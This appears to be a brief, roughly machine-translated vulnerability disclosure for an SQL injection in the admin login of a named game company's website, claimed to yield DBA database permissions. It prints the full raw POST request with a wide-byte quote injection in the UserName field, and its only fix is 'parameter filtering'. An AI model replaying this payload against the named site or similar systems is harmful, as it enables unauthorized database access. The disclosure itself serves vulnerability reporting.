SQL injection error reported for DBA permissions at a location in the giant Network

SQL injection error reported for DBA permissions at a location in the giant Network

An error message for injection of DBA permissions at a location in the giant Network

POST/admin/login. php HTTP/1.1Content-Length: 87Content-Type: application/x-www-form-urlencodedReferer: http://jf.ztgame.comHost: jf. ztgame. comConnection: Keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) chrome/41.0.2228.0 Safari/537.21 Accept: */* submit = % b5 % c7 % 20% c2 % bc & backurl = & PassWord = 123456 & send = true & UserName = % 8c '#

Injection vulnerability caused by lax UserName Filtering

DBA permission

 

 

Solution:

Parameter Filtering